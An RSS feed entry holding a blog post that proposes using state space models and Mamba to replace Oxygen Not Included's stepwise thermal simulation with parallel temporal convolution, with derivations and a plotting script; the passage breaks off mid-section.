<?xml version="1.0" encoding="UTF-8"?>
<rss  xmlns:atom="http://www.w3.org/2005/Atom" 
      xmlns:media="http://search.yahoo.com/mrss/" 
      xmlns:content="http://purl.org/rss/1.0/modules/content/" 
      xmlns:dc="http://purl.org/dc/elements/1.1/" 
      version="2.0">
<channel>
<title>Through the Looking-Glass</title>
<link>https://kaguranaku.me/</link>
<atom:link href="https://kaguranaku.me/index.xml" rel="self" type="application/rss+xml"/>
<description></description>
<generator>quarto-1.9.36</generator>
<lastBuildDate>Tue, 24 Mar 2026 00:00:00 GMT</lastBuildDate>
<item>
  <title>Physical Not Included: How SSMs Reformulate Klei’s Magic into Scalable Science</title>
  <dc:creator>KaguraNaku </dc:creator>
  <link>https://kaguranaku.me/posts/Physical-Not-Included/</link>
  <description><![CDATA[ 





<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>I’ve been wanting to write this blog for so long. Although I have been tormented to the brink of death by this hardcore masterpiece—wrestling with <em>Liquid Locks, complex Pipeline Cycles, and thermal management</em>—I still love it. To me, it is one of the greatest independent games ever made, a perfect playground of <strong>chaos and logic</strong>.</p>
</section>
<section id="paradigm-shift-from-sequential-simulation-to-predictive-state-space-models" class="level2">
<h2 class="anchored" data-anchor-id="paradigm-shift-from-sequential-simulation-to-predictive-state-space-models">Paradigm Shift: From Sequential Simulation to Predictive State-Space Models</h2>
<section id="the-curse-of-temporal-coupling" class="level3">
<h3 class="anchored" data-anchor-id="the-curse-of-temporal-coupling">The Curse of Temporal Coupling</h3>
<p>We have long relied on <strong>FEA-inspired</strong><sup>1</sup> methods to simulate complex physics in games. This is not just limited to <em>Oxygen Not Included</em>, but spans the entire genre of simulation-heavy titles like <em>Workers &amp; Resources: Soviet Republic</em> (which I prefer even over ONI), the <em>Anno</em> series, and <em>Tropico</em>. These titles all share a common “curse”: <strong>the more realism we pursue, the harder it becomes for the CPU to keep up with the overwhelming grid-based workloads.</strong> We’ve been forced to lean on the sheer size of L3 caches to mask the underlying memory latency, but obviously, not every player has a 9800X3D. Yet we are still just brute-forcing a sequential bottleneck.</p>
<p>The mathematical model of grid-based methods can be simplified as shown in Equation&nbsp;1: <span id="eq-grid"><img src="https://latex.codecogs.com/png.latex?%0A%5Cmathbf%7Bu%7D_%7Bt+1%7D%20=%20%5Cmathcal%7BF%7D(%5Cmathbf%7Bu%7D_t,%20%5CDelta%20t)%0A%5Ctag%7B1%7D"></span></p>
<p>As we can see, the next state <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7Bu%7D_%7Bt+1%7D"> is tightly coupled to the current state <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7Bu%7D_t"> and the time step <img src="https://latex.codecogs.com/png.latex?%5CDelta%20t">. This creates a <strong>strict serial dependency</strong>, meaning the CPU spends most of its cycles stalled, waiting for memory synchronization or cache coherency.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://kaguranaku.me/posts/Physical-Not-Included/images/grid.svg" class="img-fluid figure-img" style="width:100.0%"></p>
<figcaption>Parallel against Serial</figcaption>
</figure>
</div>
</section>
<section id="a-hypothesis-logical-parallelism" class="level3">
<h3 class="anchored" data-anchor-id="a-hypothesis-logical-parallelism">A Hypothesis: Logical Parallelism</h3>
<p>At this point, I’d like to propose a hypothesis: <strong>Why not “predict” instead of “simulate”? Why not pursue “logical parallelism” over simple “physical parallelism”?</strong></p>
<p>The current state is not an isolated point, but a <strong>temporal propagation</strong> of its predecessors. If we can decouple these temporal dependencies using SSMs (State Space Models), grid-based tasks become naturally <strong>GPU-native</strong>. We are no longer limited to solving thousands of grids for a single time step; instead, we can leverage the GPU’s dense compute units to resolve thousands of <em>future</em> states across the timeline in one fell swoop.</p>
<p>Have you played games by Paradox, such as the <em>Hearts of Iron</em> (HOI) series? To me, they are the <strong>ultimate counter-examples</strong>. Their simulation of global logistics and division movements is a nightmare of sequential coupling—the exact architectural bottleneck we are finally equipped to break.</p>
</section>
</section>
<section id="redefining-dlss-deep-learning-super-speed" class="level2">
<h2 class="anchored" data-anchor-id="redefining-dlss-deep-learning-super-speed">Redefining DLSS: Deep Learning Super Speed</h2>
<p>At the architectural level, traditional engines treat the simulation grid as a linearized 1D array. To maintain logical consistency, they are forced into a <strong>strict sequential iteration</strong>—updating states cell-by-cell, tick-by-tick. While this ensures precision, it remains tethered to the clock speed of a single thread, struggling to escape the <strong>von Neumann bottleneck</strong>.</p>
<p>My core insight is to bridge this gap using a fundamental concept from Computer Vision. If we strip away the color channels, a simulation grid is mathematically isomorphic to a <strong>2D tensor (e.g., a 224x224 grayscale image)</strong>.</p>
<p>The conceptual bridge is rooted in the <strong>mathematical duality</strong> of their filtering operations (Equation&nbsp;2 and Equation&nbsp;3):</p>
<ul>
<li>CNN (Spatial Perception): <span id="eq-cnn"><img src="https://latex.codecogs.com/png.latex?Y%20=%20X%20*%20K_%7B%5Ctext%7Bspatial%7D%7D,%20%5Cquad%20K_%7B%5Ctext%7Bspatial%7D%7D%20%5Cin%20%5Cmathbb%7BR%7D%5E%7Bh%20%5Ctimes%20w%7D%20%5Ctag%7B2%7D"></span> Where <img src="https://latex.codecogs.com/png.latex?K"> is a kernel that perceives spatial patterns across the grid to resolve feature maps.</li>
</ul>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://kaguranaku.me/posts/Physical-Not-Included/images/CV.svg" class="img-fluid figure-img" style="width:100.0%"></p>
<figcaption>CNN kernel works on a 2D image</figcaption>
</figure>
</div>
<ul>
<li>SSM (Temporal Perception): <span id="eq-ssm-conv"><img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7By%7D%20=%20%5Cmathbf%7Bx%7D%20*%20%5Cbar%7BK%7D_%7B%5Ctext%7Bssm%7D%7D,%20%5Cquad%20%5Cbar%7BK%7D_k%20=%20%5Cmathbf%7BC%7D%5Cmathbf%7B%5Cbar%7BA%7D%7D%5Ek%5Cmathbf%7B%5Cbar%7BB%7D%7D,%20%5Cquad%20k%20%5Cin%20%5C%7B0,%20%5Cdots,%20T-1%5C%7D%20%5Ctag%7B3%7D"></span></li>
</ul>
<p>where:</p>
<ul>
<li><img src="https://latex.codecogs.com/png.latex?%5Cbar%7BK%7D"> is the kernel that projects the system’s DNA across the timeline to resolve the future;</li>
<li><img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BB%7D%7D"> is the <strong>input matrix</strong>, which projects the current input into a hidden state;</li>
<li><img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BA%7D%7D"> is the <strong>state transition matrix</strong>. Raising it to the power of <img src="https://latex.codecogs.com/png.latex?k"> (<img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BA%7D%7D%5Ek">) is the mathematical magic that allows us to “fast-forward” the system’s internal state <img src="https://latex.codecogs.com/png.latex?k"> steps into the future without iterating through <img src="https://latex.codecogs.com/png.latex?1,%202,%20%5Cdots,%20k-1">;</li>
<li><img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7BC%7D"> is the <strong>output matrix</strong>, which projects this hidden state back into our observable output.</li>
</ul>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://kaguranaku.me/posts/Physical-Not-Included/images/SSM.svg" class="img-fluid figure-img" style="width:100.0%"></p>
<figcaption>SSM Conv. form works on time series</figcaption>
</figure>
</div>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center collapsed" data-bs-toggle="collapse" data-bs-target=".callout-1-contents" aria-controls="callout-1" aria-expanded="false" aria-label="Toggle callout">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
<span class="screen-reader-only">Note</span>Derivation: From Sequential Physics to Parallel Convolution (Click to expand)
</div>
<div class="callout-btn-toggle d-inline-block border-0 py-1 ps-1 pe-0 float-end"><i class="callout-toggle"></i></div>
</div>
<div id="callout-1" class="callout-1-contents callout-collapse collapse">
<div class="callout-body-container callout-body">
<p>How does an SSM actually turn sequential physics into a parallel convolution? Let’s walk through the transformation step by step. We start with the discrete-time state space model (the bread and butter of control theory):</p>
<p><span id="eq-disc-recur"><img src="https://latex.codecogs.com/png.latex?%0Ah_t%20=%20%5Cmathbf%7B%5Cbar%7BA%7D%7D%20h_%7Bt-1%7D%20+%20%5Cmathbf%7B%5Cbar%7BB%7D%7D%20x_t,%20%5Cquad%20y_t%20=%20%5Cmathbf%7BC%7D%20h_t%0A%5Ctag%7B4%7D"></span></p>
<p>Here <img src="https://latex.codecogs.com/png.latex?h_t"> is the hidden state (e.g., temperature distribution), <img src="https://latex.codecogs.com/png.latex?x_t"> is the input (e.g., heater power), and <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BA%7D%7D,%20%5Cmathbf%7B%5Cbar%7BB%7D%7D,%20%5Cmathbf%7BC%7D"> are constant matrices derived from the continuous physics. This recurrence is strictly sequential: to compute <img src="https://latex.codecogs.com/png.latex?h_t"> you need <img src="https://latex.codecogs.com/png.latex?h_%7Bt-1%7D">.</p>
<p>Now unroll it. Assuming <img src="https://latex.codecogs.com/png.latex?h_0%20=%200">, we get:</p>
<p><img src="https://latex.codecogs.com/png.latex?%0A%5Cbegin%7Baligned%7D%0Ay_1%20&amp;=%20%5Cmathbf%7BC%7D%20%5Cmathbf%7B%5Cbar%7BB%7D%7D%20x_1%20%5C%5C%0Ay_2%20&amp;=%20%5Cmathbf%7BC%7D%20%5Cmathbf%7B%5Cbar%7BA%7D%7D%20%5Cmathbf%7B%5Cbar%7BB%7D%7D%20x_1%20+%20%5Cmathbf%7BC%7D%20%5Cmathbf%7B%5Cbar%7BB%7D%7D%20x_2%20%5C%5C%0Ay_3%20&amp;=%20%5Cmathbf%7BC%7D%20%5Cmathbf%7B%5Cbar%7BA%7D%7D%5E2%20%5Cmathbf%7B%5Cbar%7BB%7D%7D%20x_1%20+%20%5Cmathbf%7BC%7D%20%5Cmathbf%7B%5Cbar%7BA%7D%7D%20%5Cmathbf%7B%5Cbar%7BB%7D%7D%20x_2%20+%20%5Cmathbf%7BC%7D%20%5Cmathbf%7B%5Cbar%7BB%7D%7D%20x_3%20%5C%5C%0A&amp;%5Cvdots%0A%5Cend%7Baligned%7D%0A"></p>
<p>If we define <img src="https://latex.codecogs.com/png.latex?%5Cbar%7BK%7D_k%20=%20%5Cmathbf%7BC%7D%20%5Cmathbf%7B%5Cbar%7BA%7D%7D%5Ek%20%5Cmathbf%7B%5Cbar%7BB%7D%7D">, the pattern becomes:</p>
<p><span id="eq-conv-sum"><img src="https://latex.codecogs.com/png.latex?%0Ay_t%20=%20%5Csum_%7Bk=0%7D%5E%7Bt-1%7D%20%5Cbar%7BK%7D_k%20%5C,%20x_%7Bt-k%7D%0A%5Ctag%7B5%7D"></span></p>
<p>That’s a <strong>discrete convolution</strong>: <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7By%7D%20=%20%5Cmathbf%7Bx%7D%20*%20%5Cbar%7BK%7D">. The convolution kernel <img src="https://latex.codecogs.com/png.latex?%5Cbar%7BK%7D"> captures the entire system’s impulse response.</p>
<p>Now here’s the kicker: this convolution can be written as a <strong>matrix multiplication</strong>. For a sequence of length <img src="https://latex.codecogs.com/png.latex?T">:</p>
<p><span id="eq-toeplitz"><img src="https://latex.codecogs.com/png.latex?%0A%5Cbegin%7Bbmatrix%7D%0Ay_1%20%5C%5C%20y_2%20%5C%5C%20%5Cvdots%20%5C%5C%20y_T%0A%5Cend%7Bbmatrix%7D%0A=%0A%5Cbegin%7Bbmatrix%7D%0A%5Cbar%7BK%7D_0%20&amp;%200%20&amp;%20%5Ccdots%20&amp;%200%20%5C%5C%0A%5Cbar%7BK%7D_1%20&amp;%20%5Cbar%7BK%7D_0%20&amp;%20%5Ccdots%20&amp;%200%20%5C%5C%0A%5Cvdots%20&amp;%20%5Cvdots%20&amp;%20%5Cddots%20&amp;%20%5Cvdots%20%5C%5C%0A%5Cbar%7BK%7D_%7BT-1%7D%20&amp;%20%5Cbar%7BK%7D_%7BT-2%7D%20&amp;%20%5Ccdots%20&amp;%20%5Cbar%7BK%7D_0%0A%5Cend%7Bbmatrix%7D%0A%5Cbegin%7Bbmatrix%7D%0Ax_1%20%5C%5C%20x_2%20%5C%5C%20%5Cvdots%20%5C%5C%20x_T%0A%5Cend%7Bbmatrix%7D%0A%5Ctag%7B6%7D"></span></p>
<p>The matrix is a Toeplitz matrix—each row is a shifted copy of the kernel. Multiplying this matrix with the input vector computes all outputs in one go, without iterating over time steps. This is exactly the parallel-friendly operation that GPUs excel at, just like a 2D convolution in a CNN.</p>
<p>So, by absorbing the recurrence into a precomputed kernel, we replace the serial loop over time with a single, highly parallel matrix operation. That’s the essence of turning Klei’s sequential “magic” into scalable science.</p>
</div>
</div>
</div>
<p>In CV, a CNN uses its <strong>receptive field</strong> to perceive spatial patterns across an entire image in a single GPU pass. By leveraging the <strong>convolutional duality of SSMs</strong>, we can apply this same logic to time. We treat the future timeline as an additional dimension of the state tensor, effectively creating a <strong>spacetime receptive field</strong>.</p>
<p>Instead of waiting for <img src="https://latex.codecogs.com/png.latex?t"> to finish, we “snap” the entire temporal window into existence as a unified compute task. <strong>Causal convolutions</strong> act as the mathematical guarantee, ensuring that even in this parallel surge of computation, the information flow respects temporal entropy.</p>
<p>What makes this mapping worth noting is how it aligns with the engine’s actual memory layout: the flattened 1D world state becomes the sequence dimension for the SSM, turning the double loop over space and time into a single parallel scan.</p>
<p>In systems programming, when the physical layout matches the logical abstraction, it usually pays off in predictable performance. This is simply one of those cases.</p>
</section>
<section id="redefining-rtx-real-time-temporal-execution" class="level2">
<h2 class="anchored" data-anchor-id="redefining-rtx-real-time-temporal-execution">Redefining RTX: Real-Time Temporal eXecution</h2>
<p>That being said… does anyone even remember we just wanted to <strong>make Klei’s “magic” a bit more realistic</strong> at first? Maybe I’ve spent so much time on “DLSS” that things are getting a bit <em>“Oxygen Not Included”</em>, but the real point of using SSMs for Real-Time Temporal eXecution was always about restoring physical continuity from the game’s approximations.</p>
<p>This is a real problem I encountered: the Thermo Aquatuner (TA) in ONI. No matter what coolant is used, and regardless of the input temperature, the TA magically subtracts a constant <img src="https://latex.codecogs.com/png.latex?14%5E%5Ccirc%5Ctext%7BC%7D"> from the flow—a discrete, rule-based leap that ignores the complexity of real-world thermal exchange. I’ve come to call this <strong>“Klei’s Magic”</strong>.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://kaguranaku.me/posts/Physical-Not-Included/images/liquid.png" class="img-fluid figure-img" style="width:100.0%"></p>
<figcaption>Pipeline Liquid Cooling</figcaption>
</figure>
</div>
<p>This has created an interesting phenomenon: when calculating heat transfer, the system appears almost “scientific” because it respects the Specific Heat Capacity (SHC) of the liquid (Equation&nbsp;7).</p>
<p><span id="eq-heat"><img src="https://latex.codecogs.com/png.latex?Q%20=%20m%20%5Ccdot%20C_p%20%5Ccdot%20%5CDelta%20T%20%5Ctag%7B7%7D"></span></p>
<p>where:</p>
<ul>
<li><p><img src="https://latex.codecogs.com/png.latex?Q"> is the thermal energy moved, measured in DTU/tick;</p></li>
<li><p><img src="https://latex.codecogs.com/png.latex?m"> is the liquid mass (<img src="https://latex.codecogs.com/png.latex?10%5Ctext%7B%20kg%7D">);</p></li>
<li><p><img src="https://latex.codecogs.com/png.latex?C_p"> is the Specific Heat Capacity (in <img src="https://latex.codecogs.com/png.latex?%5Ctext%7BDTU/kg%7D%5Ccdot%5E%5Ccirc%5Ctext%7BC%7D">);</p></li>
<li><p><img src="https://latex.codecogs.com/png.latex?%5CDelta%20T"> is the constant <img src="https://latex.codecogs.com/png.latex?14%5E%5Ccirc%5Ctext%7BC%7D"> offset.</p></li>
</ul>
<blockquote class="blockquote">
<p>However, as we can see, this pseudo-fidelity comes at a peculiar cost: simplifying the entire thermal evolution into a single, hard-coded constant <img src="https://latex.codecogs.com/png.latex?%5CDelta%20T%20=%2014%5E%5Ccirc%5Ctext%7BC%7D">.</p>
</blockquote>
<p><span id="eq-aquatuner"><img src="https://latex.codecogs.com/png.latex?T_%7Bout%7D%20=%0A%5Cbegin%7Bcases%7D%0AT_%7Bin%7D%20-%2014%5E%5Ccirc%5Ctext%7BC%7D%20&amp;%20%5Ctext%7Bif%20%7D%20T_%7Bin%7D%20%3E%20(T_%7Bfreeze%7D%20+%2014%5E%5Ccirc%5Ctext%7BC%7D)%20%5C%5C%0AT_%7Bin%7D%20&amp;%20%5Ctext%7Botherwise%7D%0A%5Cend%7Bcases%7D%20%5Ctag%7B8%7D"></span></p>
<blockquote class="blockquote">
<p>The piecewise function above (Equation&nbsp;8) illustrates the compromises Klei made when simulating thermal dynamics.</p>
</blockquote>
<p>Assuming a naturally running, self-consistent system—and ignoring sudden chaotic inputs like player interventions—a Linear Time-Invariant (LTI) SSM can model this state machine with true mathematical continuity, gracefully replacing the brute-force subtraction of a hard-coded constant.</p>
<p>Instead of a discrete <img src="https://latex.codecogs.com/png.latex?14%5E%5Ccirc%5Ctext%7BC%7D"> jump, we return to the fundamental continuous-time differential equation for heat exchange (akin to Newton’s Law of Cooling), expressed in the standard continuous State-Space form (Equation&nbsp;9 and Equation&nbsp;10):</p>
<p><span id="eq-cont-state"><img src="https://latex.codecogs.com/png.latex?%5Cdot%7Bh%7D(t)%20=%20%5Cmathbf%7BA%7Dh(t)%20+%20%5Cmathbf%7BB%7Dx(t)%20%5Ctag%7B9%7D"></span> <span id="eq-cont-out"><img src="https://latex.codecogs.com/png.latex?y(t)%20=%20%5Cmathbf%7BC%7Dh(t)%20%5Ctag%7B10%7D"></span></p>
<p>where:</p>
<ul>
<li><img src="https://latex.codecogs.com/png.latex?h(t)"> is the continuous internal temperature state of the liquid;</li>
<li><img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7BA%7D"> is the continuous thermal decay matrix (derived from thermal conductivity and SHC), governing how the temperature naturally evolves over time;</li>
<li><img src="https://latex.codecogs.com/png.latex?x(t)"> represents the external continuous heat extraction driven by the Aquatuner;</li>
<li><img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7BB%7D"> determines how this heat extraction influences the liquid’s temperature state;</li>
<li><img src="https://latex.codecogs.com/png.latex?y(t)"> is the final observable output temperature <img src="https://latex.codecogs.com/png.latex?T_%7Bout%7D">.</li>
</ul>
<p>Through discretization techniques like Zero-Order Hold (ZOH), this continuous ODE is mathematically transformed into the discrete matrices (<img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BA%7D%7D,%20%5Cmathbf%7B%5Cbar%7BB%7D%7D">) we saw in Equation&nbsp;3 of the “DLSS” section. This mathematical transformation is exactly what allows the GPU to compute the continuous cooling curve as a parallelized temporal convolution, restoring the beauty of physics without the serial CPU bottleneck.</p>
<div id="cell-fig-cooling-comparison" class="cell" data-execution_count="1">
<details class="code-fold">
<summary>Code</summary>
<div class="code-copy-outer-scaffold"><div class="sourceCode cell-code" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb1-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> numpy <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> np</span>
<span id="cb1-2"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> matplotlib.pyplot <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> plt</span>
<span id="cb1-3"></span>
<span id="cb1-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Time array (0 to 60 ticks)</span></span>
<span id="cb1-5">t <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> np.linspace(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>, <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">60</span>, <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">500</span>)</span>
<span id="cb1-6"></span>
<span id="cb1-7"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># 1. Klei's Magic: 14-degree drop every 10 ticks (Hard-coded step function)</span></span>
<span id="cb1-8"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> klei_magic(t):</span>
<span id="cb1-9">    drops <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> np.floor(t <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10</span>)</span>
<span id="cb1-10">    temp <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">90</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> drops <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">14</span></span>
<span id="cb1-11">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> np.maximum(temp, <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">20</span>) <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Cap at an arbitrary ambient 20°C</span></span>
<span id="cb1-12"></span>
<span id="cb1-13">temp_klei <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> klei_magic(t)</span>
<span id="cb1-14"></span>
<span id="cb1-15"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># 2. Continuous LTI SSM (Newton's Cooling: h_dot = A*h)</span></span>
<span id="cb1-16">T_env <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">20</span></span>
<span id="cb1-17">T_0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">90</span></span>
<span id="cb1-18">k <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fl" style="color: #AD0000;
background-color: null;
font-style: inherit;">0.06</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Thermal decay constant (matrix A equivalent)</span></span>
<span id="cb1-19">temp_ssm <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> T_env <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> (T_0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> T_env) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> np.exp(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>k <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> t)</span>
<span id="cb1-20"></span>
<span id="cb1-21"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Plotting</span></span>
<span id="cb1-22">plt.figure(figsize<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10</span>, <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span>))</span>
<span id="cb1-23">plt.plot(t, temp_klei, label<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Klei's Magic (Discrete -14°C Drop)"</span>, color<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"#ff7f0e"</span>, drawstyle<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"steps-post"</span>, linewidth<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="fl" style="color: #AD0000;
background-color: null;
font-style: inherit;">2.5</span>)</span>
<span id="cb1-24">plt.plot(t, temp_ssm, label<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Continuous LTI SSM (Newton's Cooling)"</span>, color<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"#1f77b4"</span>, linewidth<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="fl" style="color: #AD0000;
background-color: null;
font-style: inherit;">2.5</span>)</span>
<span id="cb1-25"></span>
<span id="cb1-26">plt.title(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Thermal Dynamics: Game Engine Magic vs. Continuous Physics"</span>)</span>
<span id="cb1-27">plt.xlabel(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Time (ticks)"</span>)</span>
<span id="cb1-28">plt.ylabel(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Temperature (°C)"</span>)</span>
<span id="cb1-29">plt.grid(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">True</span>, linestyle<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"--"</span>, alpha<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="fl" style="color: #AD0000;
background-color: null;
font-style: inherit;">0.6</span>)</span>
<span id="cb1-30">plt.legend()</span>
<span id="cb1-31">plt.tight_layout()</span>
<span id="cb1-32">plt.show()</span></code></pre></div></div>
</details>
<div class="cell-output cell-output-display">
<div id="fig-cooling-comparison" class="quarto-float quarto-figure quarto-figure-center anchored">
<figure class="quarto-float quarto-float-fig figure">
<div aria-describedby="fig-cooling-comparison-caption-0ceaefa1-69ba-4598-a22c-09a6ac19f8ca">
<img src="https://kaguranaku.me/posts/Physical-Not-Included/index_files/figure-html/fig-cooling-comparison-output-1.png" width="950" height="470" class="figure-img">
</div>
<figcaption class="quarto-float-caption-bottom quarto-float-caption quarto-float-fig" id="fig-cooling-comparison-caption-0ceaefa1-69ba-4598-a22c-09a6ac19f8ca">
Figure&nbsp;1: Visualizing the paradigm shift: The rigid steps of Klei’s Magic vs.&nbsp;the smooth, differentiable trajectory of a continuous LTI SSM.
</figcaption>
</figure>
</div>
</div>
</div>
</section>
<section id="the-modernization-refit-injecting-chaos-with-mamba" class="level2">
<h2 class="anchored" data-anchor-id="the-modernization-refit-injecting-chaos-with-mamba">The Modernization Refit: Injecting Chaos with Mamba</h2>
<p>Our LTI SSM provides a mathematically rigorous foundation. Much like a classic dreadnought relies on pre-calculated trajectories to efficiently project power over vast distances, our global convolution predicts thousands of future ticks in a single computational pass. However, this architecture harbors a fundamental flaw: it assumes a completely predictable target. In technical terms, a strict LTI system inherently struggles to adapt to sudden, non-linear state transitions.</p>
<p>Remember my earlier caveat: <em>“ignoring sudden chaotic inputs like player interventions”</em>? In <em>Oxygen Not Included</em>, chaos is the only constant. What if a Duplicant suddenly pulls the automation wire, cutting power to our Aquatuner at <img src="https://latex.codecogs.com/png.latex?t=50">? What if the liquid temperature drops below <img src="https://latex.codecogs.com/png.latex?0%5E%5Ccirc%5Ctext%7BC%7D"> and undergoes a phase change into ice, instantly altering the thermal decay matrix <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7BA%7D">?</p>
<p>Standard SSMs are constrained by their <strong>Linear Time-Invariant (LTI)</strong> nature. The matrices <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BA%7D%7D"> and <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BB%7D%7D"> are rigidly static. Once the temporal convolution kernel <img src="https://latex.codecogs.com/png.latex?%5Cbar%7BK%7D"> is compiled, the laws of physics are locked in. It simply cannot handle non-linear edge cases or the inherently unpredictable nature of player interactions.</p>
<p>To make our dreadnought survive modern chaotic warfare, it needs a modernization refit. We must introduce <strong>Mamba</strong>.</p>
<p>Mamba upgrades the classic SSM by introducing <strong>Selective State Spaces</strong>. To understand how it works, let’s look at the mathematical “diff” between the discrete recurrent update of a standard LTI SSM and Mamba’s selective variant:</p>
<ul>
<li><strong>Standard LTI SSM (Static):</strong> <span id="eq-lti-recur"><img src="https://latex.codecogs.com/png.latex?h_t%20=%20%5Cmathbf%7B%5Cbar%7BA%7D%7D%20h_%7Bt-1%7D%20+%20%5Cmathbf%7B%5Cbar%7BB%7D%7D%20x_t%20%5Ctag%7B11%7D"></span></li>
<li><strong>Selective SSM (Dynamic):</strong> <span id="eq-selective-recur"><img src="https://latex.codecogs.com/png.latex?h_t%20=%20%5Cmathbf%7B%5Cbar%7BA%7D%7D_t%20h_%7Bt-1%7D%20+%20%5Cmathbf%7B%5Cbar%7BB%7D%7D_t%20x_t%20%5Ctag%7B12%7D"></span></li>
</ul>
<p>where the matrices are no longer rigidly static, but are generated on the fly at each tick <img src="https://latex.codecogs.com/png.latex?t"> based on the current input <img src="https://latex.codecogs.com/png.latex?x_t">:</p>
<ul>
<li><img src="https://latex.codecogs.com/png.latex?x_t"> is the real-time contextual input (e.g., the current automation grid status or ambient temperature);</li>
<li><img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BB%7D%7D_t%20=%20%5Cmathbf%7B%5Cbar%7BB%7D%7D(x_t)"> and <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7BC%7D_t%20=%20%5Cmathbf%7BC%7D(x_t)"> are data-dependent matrices. They selectively filter how much of the current game input enters the physical state, and how much of that state is projected to the output;</li>
